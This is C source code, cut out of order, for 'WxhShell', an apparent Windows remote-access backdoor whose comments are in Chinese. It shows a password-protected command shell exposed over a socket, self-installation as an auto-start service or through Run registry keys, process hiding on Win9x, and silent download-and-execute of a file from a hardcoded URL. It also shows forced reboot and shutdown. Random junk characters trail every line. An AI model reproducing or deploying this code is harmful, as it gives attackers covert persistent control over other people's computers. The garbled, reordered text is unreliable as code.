    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V.O(S\  
    if(Boot(SHUTDOWN)) xl6,s>ob  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); giZP.C"0  
    else { Qr^|:U!;[z  
    closesocket(wsh); O\E/. B  
    ExitThread(0); tE@;X=  
    } &j4xgh9  
    break; a= DcZ_M  
    } ^cczJOxB  
  // 获取shell ^aH \7J@Y  
  case 's': { 5jd,{<  
    CmdShell(wsh); 4a'N>eDR  
    closesocket(wsh); |+iws8xK?  
    ExitThread(0); txiP!+3OWB  
    break; 5&v~i\Q  
  } RRRCS]y7$t  
  // 退出 4*Q#0`um  
  case 'x': { ^.1c{0Y^0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7on.4/;M  
    CloseIt(wsh); ?Cl%{2omO  
    break; |K.mP4CKY  
    } Qa.<K{m#?  
  // 离开 }emN9Rj  
  case 'q': { 2 $?C7(kW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -i)ZQCE  
    closesocket(wsh); ny`#%Vs  
    WSACleanup(); 0BIy>wy:  
    exit(1); ;.TRWn#  
    break; m=}B,']O  
        } p?B=1vn-2  
  } 2Ou[u#H  
  } gW-V=LV (  
ft$RSb#  
  // 提示信息 a"FCZ.O1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BReJ!|{m}  
} 4:|S` jm  
  } D@Vt^_  
>sK!F$  
  return; f>W -  
} U-IpH+E  
.v$D13L(o  
// shell模块句柄 N'g>MBdI  
int CmdShell(SOCKET sock) c2&q*]?l;  
{ ~xD ={9BL  
STARTUPINFO si; VO$ iNK  
ZeroMemory(&si,sizeof(si)); 8ELCs<xI  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sC='_h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; TMig-y*[  
PROCESS_INFORMATION ProcessInfo; poToeagZ~Q  
char cmdline[]="cmd"; 5\e9@1Rc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "tB;^jhRs  
  return 0; ;~"FLQg@  
} 5<UVD:~z  
s (zL   
// 自身启动模式 gREzZ+([  
int StartFromService(void) my}-s  
{ :P<]+\m  
typedef struct KU8J bl*   
{ E=>FjCsu<-  
  DWORD ExitStatus; `-3O w[  
  DWORD PebBaseAddress; ||;hci O  
  DWORD AffinityMask; <$X3Hye  
  DWORD BasePriority; BZR:OtR^  
  ULONG UniqueProcessId; nPye,"A Ol  
  ULONG InheritedFromUniqueProcessId; CitDm1DXt/  
}   PROCESS_BASIC_INFORMATION; _NMm/]mN /  
oZ!m  
PROCNTQSIP NtQueryInformationProcess; B oC5E#;G  
3+@<lVew6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E;+O($bA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; LN@F+CyDc  
|NpP2|4h  
  HANDLE             hProcess; Zg'Q>.:  
  PROCESS_BASIC_INFORMATION pbi; i[?Vin  
>AcrG]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^-,xE>3o  
  if(NULL == hInst ) return 0; y#q?A,C@n  
b)=[1g/=L  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wS%Q<uK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); eA#;AQm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T3k#VNH  
vvKEv/pN7  
  if (!NtQueryInformationProcess) return 0; Y?(r3E^x  
iZM+JqfU|D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hFH*B~*:#  
  if(!hProcess) return 0; {= F /C,-  
QNpqdwu%h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S/4^ d &Gr  
%?p1d!  
  CloseHandle(hProcess); ~v6OsH%vx  
=Ur}~w&H8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); aB7+Tb  
if(hProcess==NULL) return 0; |Z=^`J  
qI~xlW  
HMODULE hMod; Tl2C^j  
char procName[255]; @wE5S6! B\  
unsigned long cbNeeded; {TX]\ufG  
z7Q?D^miy  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &NH$nY.r  
 (Q.waI  
  CloseHandle(hProcess); T>R0T{A  
1T-8K r  
if(strstr(procName,"services")) return 1; // 以服务启动 .y@oz7T5  
wPwXM!  
  return 0; // 注册表启动 *=+td)S/1  
} *#tJM.Z  
<8d^^0  
// 主模块 <N_+=_  
int StartWxhshell(LPSTR lpCmdLine) IE9 XU9Kd  
{ W9D86]3Y  
  SOCKET wsl; j( RWO  
BOOL val=TRUE; j^^Ap  
  int port=0; =jX8.K4]  
  struct sockaddr_in door; 1:f9J  
Z|5?7v;h5  
  if(wscfg.ws_autoins) Install(); }M3fmAP}  
,PWgH$+  
port=atoi(lpCmdLine); v" OY 1<8  
u%$Zqee  
if(port<=0) port=wscfg.ws_port; %we u 1f  
J|w\@inQ  
  WSADATA data; FE2f'e  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,'p2v)p^4  
S5G6Rj@W  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %2XHNW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); MD|5 ol9  
  door.sin_family = AF_INET; ;S57w1PbVA  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &:, dJ  
  door.sin_port = htons(port); jF=gr$  
1Dv R[Lx%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {`K m_<Te!  
closesocket(wsl); QrYpZZ;  
return 1; * v75O7l  
} {a4z2"\A  
)0Me?BRp  
  if(listen(wsl,2) == INVALID_SOCKET) { \ aHVs  
closesocket(wsl); U2ZD]q  
return 1; \9/ b!A  
} Lz:(6`S  
  Wxhshell(wsl); { Fawt:  
  WSACleanup(); ,)iKH]lY=  
$aN&nhoO<  
return 0; 21< j\ M  
WnGGo ' Z  
} }jVSlCF@t  
ad:&$  
// 以NT服务方式启动 49w=XJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ee3hG2d`  
{ %oq[,h <X  
DWORD   status = 0; *X, /7C   
  DWORD   specificError = 0xfffffff; @ ]/AjjLt  
A9kzq_ 3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Zxbo^W[[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #1c_evH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H Ge0hl[n  
  serviceStatus.dwWin32ExitCode     = 0; V( -mD  
  serviceStatus.dwServiceSpecificExitCode = 0; *{y K 8  
  serviceStatus.dwCheckPoint       = 0; {6~l$  
  serviceStatus.dwWaitHint       = 0; []A%<EI7  
/k<WNZM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4Rvf  
  if (hServiceStatusHandle==0) return; o]p|-<I Q  
VxXzAeM  
status = GetLastError(); ]Yvga!S"C  
  if (status!=NO_ERROR) H<}^'#"p  
{ FxVZ[R  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; kn>$lTHQ  
    serviceStatus.dwCheckPoint       = 0; 8`fjF/  
    serviceStatus.dwWaitHint       = 0; $`- 4Ax4%  
    serviceStatus.dwWin32ExitCode     = status; RW}"2  
    serviceStatus.dwServiceSpecificExitCode = specificError; yRiP{$E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &'DU0c&  
    return; ngat0'oa  
  } /l<<_uk$  
1$81E.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $pFo Rv  
  serviceStatus.dwCheckPoint       = 0; Q~j`YmR|  
  serviceStatus.dwWaitHint       = 0; XLH+C ]pfr  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vsr[ur[eP  
} cg*)0U-_(  
a(v>Q*zNP  
// 处理NT服务事件,比如:启动、停止 !}r% u."  
VOID WINAPI NTServiceHandler(DWORD fdwControl) NN1$'"@NL  
{ 6+KHQFb&N  
switch(fdwControl)  R#DwF,  
{ 5GPo*Qpl  
case SERVICE_CONTROL_STOP: >$,y5 AJ&  
  serviceStatus.dwWin32ExitCode = 0; N1}={yF.fQ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Vw&HVo  
  serviceStatus.dwCheckPoint   = 0; 8WXJ.  
  serviceStatus.dwWaitHint     = 0; yNqe8C,>e  
  { CBD6bl|A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zBJ7(zh!  
  } ea 00\  
  return; zA!0l*H  
case SERVICE_CONTROL_PAUSE: _dJ{j   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <1.A=_ M  
  break; ulER1\W  
case SERVICE_CONTROL_CONTINUE: "eWYv3z~-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /M*a,o  
  break; @;H,gEH^  
case SERVICE_CONTROL_INTERROGATE: p$x{yz3  
  break; LI6hE cM=  
}; Wf&W^Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sPb=82~z  
} =T7A]U]  
y T#{UA^  
// 标准应用程序主函数 9gEssTkts  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Myq5b`z  
{ o,!T2&}  
eU N"w,@y  
// 获取操作系统版本 acw4B5]  
OsIsNt=GetOsVer(); 3,Q^& 1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #zR bx  
?x0pe4^If  
  // 从命令行安装 q=DN {a:  
  if(strpbrk(lpCmdLine,"iI")) Install(); h'$ 9C  
&09U@uc$  
  // 下载执行文件 lZrVY+ D  
if(wscfg.ws_downexe) { YTjkPj:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W":PG68  
  WinExec(wscfg.ws_filenam,SW_HIDE); `St.+6^J  
} fS"Hr0  
W5'3$,X9  
if(!OsIsNt) { 'D%w|Pe?Q  
// 如果时win9x,隐藏进程并且设置为注册表启动 =07]z@s  
HideProc(); 4L73]3&  
StartWxhshell(lpCmdLine); bug Ot7  
} gt7VxZ  
else (}5S  
  if(StartFromService()) W(Uu@^  
  // 以服务方式启动 4#'(" #R  
  StartServiceCtrlDispatcher(DispatchTable); *k1<: @%e  
else a!mf;m  
  // 普通方式启动 A;O~#Chvd  
  StartWxhshell(lpCmdLine); iK IOh('G  
03iv3/{H  
return 0; Z xb_K  
} fI7j):h;  
|P.6<  
.<K iMh  
3tmdi3s  
=========================================== #%FN>v3e  
3w!c`;c%  
/2RajsK  
)Y8",Ig  
ZJjTzEV%^B  
hHPs&EA.p  
" q,3;m[cA  
xwH?0/  
#include <stdio.h> $7'g Rb4  
#include <string.h> {q3H5csFq  
#include <windows.h> wM _ 6{  
#include <winsock2.h> @Fpb-Qd"  
#include <winsvc.h> -.|4Y#b:&  
#include <urlmon.h> vw)7 !/#  
u?[ q=0.J7  
#pragma comment (lib, "Ws2_32.lib") C P3<1~  
#pragma comment (lib, "urlmon.lib") er.CDKD%L  
\)48904^  
#define MAX_USER   100 // 最大客户端连接数 0liR  
#define BUF_SOCK   200 // sock buffer QQpP#F|w  
#define KEY_BUFF   255 // 输入 buffer HSIvWhg?p  
]O:N-Y  
#define REBOOT     0   // 重启 $) 5Bf3P0  
#define SHUTDOWN   1   // 关机 c=6Q%S  
RuG-{NF{F  
#define DEF_PORT   5000 // 监听端口 "aF8l<1xn  
cM_ Fp  
#define REG_LEN     16   // 注册表键长度 S',9g4(5  
#define SVC_LEN     80   // NT服务名长度 K"V:<a  
k5&bq2)I  
// 从dll定义API \Yoa:|%*y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); sIl33kmv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vwr74A.g0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {@u<3 s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); XIWm>IQ[)  
(#oycj^<  
// wxhshell配置信息 ;_:Ool,  
struct WSCFG { a0*2) uL}  
  int ws_port;         // 监听端口 8:.nEo'  
  char ws_passstr[REG_LEN]; // 口令 Q#Y k?Kv~  
  int ws_autoins;       // 安装标记, 1=yes 0=no WM)F0@"  
  char ws_regname[REG_LEN]; // 注册表键名 #2tCV't  
  char ws_svcname[REG_LEN]; // 服务名 i\H+X   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 XTDE53Js&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 60Z]M+8y8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w&BGJYI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E&B{5/rv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" to6;?uC+|i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 SjdZyJa  
F.)!3YE  
}; d3]hyTqbtm  
~^vC,]hU  
// default Wxhshell configuration -K[782Q  
struct WSCFG wscfg={DEF_PORT, T#O??3/%$1  
    "xuhuanlingzhe", jvVi%k  
    1, b8f+,2Tk  
    "Wxhshell", !eJCM`cp  
    "Wxhshell", ,5|d3dJS  
            "WxhShell Service", PVa o  
    "Wrsky Windows CmdShell Service", F8+e,x  
    "Please Input Your Password: ", s^T+5 E&}  
  1, jvzBh-!  
  "http://www.wrsky.com/wxhshell.exe", * \HRw +cL  
  "Wxhshell.exe" ;:m&#YJV  
    }; M)cGz$Q|  
nVD Xj  
// 消息定义模块 Yn9j-`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A.Bk/N1G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; IwpbfZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y5 m!*=`l`  
char *msg_ws_ext="\n\rExit."; H0*5_OJ!i  
char *msg_ws_end="\n\rQuit."; x "(9II*  
char *msg_ws_boot="\n\rReboot..."; T ^JuZG  
char *msg_ws_poff="\n\rShutdown..."; FXo2Y]K3`L  
char *msg_ws_down="\n\rSave to "; 5% nt0dc  
50a\e  
char *msg_ws_err="\n\rErr!"; 7?)/>lx\>$  
char *msg_ws_ok="\n\rOK!"; >m_v5K  
dZ :r&Qa  
char ExeFile[MAX_PATH]; ODf4+& u  
int nUser = 0; *(cU]NUH_  
HANDLE handles[MAX_USER]; YYRT.U'  
int OsIsNt; !ax;5@J  
^t'3rft  
SERVICE_STATUS       serviceStatus; K%}}fw2RMN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Y(GN4@`S  
|xr32g s  
// 函数声明 i9UI,b%X  
int Install(void); uv4 _:   
int Uninstall(void); Wn!G.(Jq  
int DownloadFile(char *sURL, SOCKET wsh); 3z{S}~  
int Boot(int flag); 4x'AC%&Qi  
void HideProc(void); M+sj}  
int GetOsVer(void); sXl ??UGe  
int Wxhshell(SOCKET wsl); 'nK~'PZ,  
void TalkWithClient(void *cs); PdY>#Cyh  
int CmdShell(SOCKET sock); v9}[$HWx  
int StartFromService(void); H]&!'\aUz  
int StartWxhshell(LPSTR lpCmdLine);  d^39t4  
]Qi,j#X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =:h3w#_c  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S=gW(c2'  
2w?G.pO#  
// 数据结构和表定义 9u wL{P&  
SERVICE_TABLE_ENTRY DispatchTable[] = U |F>W~%  
{ SZVV40w  
{wscfg.ws_svcname, NTServiceMain}, "7?js $  
{NULL, NULL} OoP@-D"e  
}; MB:n~>ga  
M@?"t_e1  
// 自我安装 Q:S\0cI0  
int Install(void) =8{*@>CX  
{ 8.I9}_  
  char svExeFile[MAX_PATH];  SNvb1&  
  HKEY key; =LZ>s u  
  strcpy(svExeFile,ExeFile); ID8k/t!  
B[NJ^b|  
// 如果是win9x系统,修改注册表设为自启动 1&|Dsrj  
if(!OsIsNt) { <<3+g"enno  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2ALj}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7o{*Z  
  RegCloseKey(key); "@/ba!L+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]Sta]}VQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Bt>}LLBS2  
  RegCloseKey(key); DY><qk  
  return 0; =aow d4 t  
    } oA3d^%(c  
  } Mr6E/7g%  
} C<he4n.  
else { \; bW h  
dE>v\0 3!8  
// 如果是NT以上系统,安装为系统服务 r`]7S_t5T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X Usy.l/  
if (schSCManager!=0) ~eo^`4O{{  
{ @ t@|q  
  SC_HANDLE schService = CreateService >rwYDT#m]  
  ( Js}tZ\+P75  
  schSCManager, 0|2%#  E  
  wscfg.ws_svcname, J1-):3A  
  wscfg.ws_svcdisp, PN\V[#nS  
  SERVICE_ALL_ACCESS, \:sk9k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \ j]~>9  
  SERVICE_AUTO_START, v+tO$QZ`  
  SERVICE_ERROR_NORMAL, ^\YQ_/\~L  
  svExeFile, }%{=].)L  
  NULL, (G5T%[/U  
  NULL, vug-n 8  
  NULL, N&B>#:  
  NULL, dy_.(r5[L]  
  NULL \r]('x3S  
  ); $DV-Ieb  
  if (schService!=0) fH!=Zb_{8  
  { a R#Cot  
  CloseServiceHandle(schService); EHWv3sR-  
  CloseServiceHandle(schSCManager); p#b{xK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $i&\\QNn  
  strcat(svExeFile,wscfg.ws_svcname); eH=c|m]!P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -q(:%;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L; C|ow^c  
  RegCloseKey(key); _z:Qhe  
  return 0; $Z7:#cZ Y  
    } |B1Af  
  } !?r/ 4  
  CloseServiceHandle(schSCManager); [ i9[Mj  
} /$OIlu  
} ^4hc+sh0D  
,'-?:`hP'  
return 1; pU[K%@sC  
} %EB;1  
0HPO" x3-O  
// 自我卸载 Qrz*Lvle h  
int Uninstall(void) X0x_+b? _  
{ ]1Qi=2'  
  HKEY key; ;5RIwD  
;7 "Y?*{  
if(!OsIsNt) { 9R:(^8P8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VLd=" ~  
  RegDeleteValue(key,wscfg.ws_regname); %jgg59  
  RegCloseKey(key); 3AP YO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lDU#7\5.  
  RegDeleteValue(key,wscfg.ws_regname); Eb7}$Ji\  
  RegCloseKey(key); 7`+UB>8  
  return 0; |bvGYsn_#=  
  } A xR\ ned  
} Ris-tdg  
} PE7t_iSV  
else { %rFllb7  
?7 X3 P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .)nCOwR6p  
if (schSCManager!=0) ;l#?SYY  
{ U*xxrt/On/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,"C&v~  
  if (schService!=0) :9O|l)N)W=  
  { `0[fLEm  
  if(DeleteService(schService)!=0) { SJF2k[da  
  CloseServiceHandle(schService); ~:s!].H  
  CloseServiceHandle(schSCManager); Z0z)  
  return 0; L]a|vp  
  } %SFw~%@3&~  
  CloseServiceHandle(schService); }(rzH}X@  
  } j~Ff/ O  
  CloseServiceHandle(schSCManager); tpd|y|  
} iQ0&W0D]  
} 95% :AQLV  
X &09  
return 1; 3V!W@[ }:  
} @hBx, `H^  
\ /sF:~=  
// 从指定url下载文件 ~vkud+r  
int DownloadFile(char *sURL, SOCKET wsh) 2"_ 18l.  
{ ;p.j  
  HRESULT hr; Cb<~i  
char seps[]= "/"; tl2Lq0  
char *token; 9`E-dr9  
char *file; 1URT2$2p  
char myURL[MAX_PATH]; SaTEZ.  
char myFILE[MAX_PATH];  aeQ{_SK  
{bxhH)a'  
strcpy(myURL,sURL); DvU~%%(0^  
  token=strtok(myURL,seps); W|)(|W  
  while(token!=NULL) s>V*=#L  
  { Z^C!RSQ  
    file=token; cRPr9LfD@  
  token=strtok(NULL,seps); u'{sB5_H  
  } 5@""_n&FV  
d?E4[7<t$1  
GetCurrentDirectory(MAX_PATH,myFILE); EywZIw?mjX  
strcat(myFILE, "\\"); N_|YOw6  
strcat(myFILE, file); EsS!07fAM:  
  send(wsh,myFILE,strlen(myFILE),0); rjt O`Mt`  
send(wsh,"...",3,0); Y}*Ctdrl  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s')!<E+z\t  
  if(hr==S_OK) x%ZiE5#  
return 0; `~sf}S :  
else KF*B  
return 1; d9ZDpzx B  
7=AO^:=bx  
} C[^a/P`i  
<`^>bv9  
// 系统电源模块 )vxVg*.Ee  
int Boot(int flag) 30e(4@!4vW  
{ s; ~J2h[  
  HANDLE hToken; !Q\X)C  
  TOKEN_PRIVILEGES tkp; 6k@[O@)  
Pau&4h0  
  if(OsIsNt) { VK"[=l  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dVK@Fgo  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); b 49|4   
    tkp.PrivilegeCount = 1; &xF4p,7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }P7xdQ6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V:$[~)k8  
if(flag==REBOOT) { t"4Rn<-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8'>.#vyMGv  
  return 0; xy2eJJq  
} zkw0jX~  
else { >0[qi1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <PH3gyC  
  return 0; v #zfs'  
} p=je"{  
  } ?d,acm  
  else { w4 >:uyE  
if(flag==REBOOT) { uBV^nUjS"m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) KX&Od@cQ$  
  return 0; )i?{;%^  
} e{d_p%(  
else { 'bd=,QW  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7~QwlU3n<F  
  return 0; rGP? E3  
} U* c{:K-C  
} xX[{E x   
+K @J*W 1  
return 1; E}E7VQjM  
} u^;sx/  
%6vMpB`g  
// win9x进程隐藏模块 EC:x  ,i  
void HideProc(void) _~(M A-l  
{ kY0g}o'<  
y^vfgP<@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S<)RVm,!e  
  if ( hKernel != NULL ) $]`'Mi  
  { ~%::r_hQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :5n"N5Go  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +$Ddd`J'  
    FreeLibrary(hKernel); 4l#T_y  
  } Sv CK;$:  
'R-JQ E-]  
return; #m[w=Pu}  
} FlM.D u  
"Hsq<oV8  
// 获取操作系统版本 Yn?2,^?N  
int GetOsVer(void) 3w6J V+?  
{ `"1{Sx.  
  OSVERSIONINFO winfo; zS>:7eG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xw/h~:NT  
  GetVersionEx(&winfo); UeC%Wa<[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P+D|_3j  
  return 1; #z1ch,*3;  
  else 0*'`%W+5  
  return 0; KD<; ?oN<O  
} (h8hg+l o  
x Jj8njuq4  
// 客户端句柄模块  G$cq   
int Wxhshell(SOCKET wsl) (D +{0 /  
{ h)aWerzL  
  SOCKET wsh; OQX{<pQ6  
  struct sockaddr_in client; 9# .NPfMF  
  DWORD myID; d(dw]6I6  
g~WNL^GGS  
  while(nUser<MAX_USER) @[Jt~v  
{ u"CIPc{Sr  
  int nSize=sizeof(client); 1&>nL`E[3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~6Ee=NaLzP  
  if(wsh==INVALID_SOCKET) return 1; _mq*j^u,j  
jwtXI\@MS  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); WhVmycdv  
if(handles[nUser]==0) :)3$&QdHT  
  closesocket(wsh); x X=IMM3  
else kAKqW7,q"  
  nUser++; eUUD|U*b   
  } .\hib. n3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); { <ao4w6B  
M,v@G$pW  
  return 0; VNh,pQ(  
} LMhY"/hAXa  
#uDBF  
// 关闭 socket D;T r  
void CloseIt(SOCKET wsh) k%4A::=  
{ v"?PhO/{=  
closesocket(wsh); QY CNO#*  
nUser--; P*qNRP%  
ExitThread(0); |SXMu_w  
} sou$qKoG01  
\?`d=n=  
// 客户端请求句柄 \Lh<E5@]  
void TalkWithClient(void *cs) 9"u @<]  
{ Rc m(Y7  
h-v &I>  
  SOCKET wsh=(SOCKET)cs; |jCE9Ve#  
  char pwd[SVC_LEN]; ![."xHVeL  
  char cmd[KEY_BUFF]; ]FnrbQ|  
char chr[1]; ,uD*FSp>  
int i,j; G5eLs  
v!v0,?b*  
  while (nUser < MAX_USER) { Y=wP3q  
@_weMz8}  
if(wscfg.ws_passstr) { (nP*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c75vAKZ2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u=UM^C!  
  //ZeroMemory(pwd,KEY_BUFF); KzH}5:qI  
      i=0; RX<^MzCDV  
  while(i<SVC_LEN) { do?n /<@o  
R?e7#HsJ  
  // 设置超时 cB"F1~z  
  fd_set FdRead; Exo`Z`m`U  
  struct timeval TimeOut; =[-- Hf  
  FD_ZERO(&FdRead); R`3>0LrC8  
  FD_SET(wsh,&FdRead); Wg;TXs/  
  TimeOut.tv_sec=8; J?=Ob?+ _  
  TimeOut.tv_usec=0; pQ2)M8 gf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b42pLbpe'E  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K]]r OF  
~!+h"%'t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'C?f"P:X{  
  pwd=chr[0]; `"-!UkD+  
  if(chr[0]==0xd || chr[0]==0xa) { "=RoI  
  pwd=0; mUY:S |  
  break; p<nBS" /  
  } .j4ziRa-  
  i++; ]j#$.$q  
    } 71 m-W#zyA  
eR 2T<7G  
  // 如果是非法用户,关闭 socket JFk|Uqs(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _q 9lr8hx  
} q,>F#A '  
 WD do{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X}QmeY[0I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <rI$"=7  
%T*+t"\)  
while(1) { a} fS2He  
}Knq9cf  
  ZeroMemory(cmd,KEY_BUFF); (uxQBy  
v{*X@)$  
      // 自动支持客户端 telnet标准   _G*x:<  
  j=0; ImY*cW=M  
  while(j<KEY_BUFF) { TF3q?0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w 4gZ:fR=  
  cmd[j]=chr[0]; nR'EuI~(}  
  if(chr[0]==0xa || chr[0]==0xd) { \6 0WP-s  
  cmd[j]=0; ?m7"G)  
  break; Tb6x@MorP  
  } "._WdY[  
  j++; +Y^F>/4=Y  
    } ^znv[  
`; %aQR  
  // 下载文件 _89G2)U=C  
  if(strstr(cmd,"http://")) { fQA)r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); umrI4.1c  
  if(DownloadFile(cmd,wsh)) 2o5< nGn  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t-'GRme  
  else |0!97* H5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D&d:>.~u  
  } d<m>H$\Dm  
  else { tU2;Wb!Y  
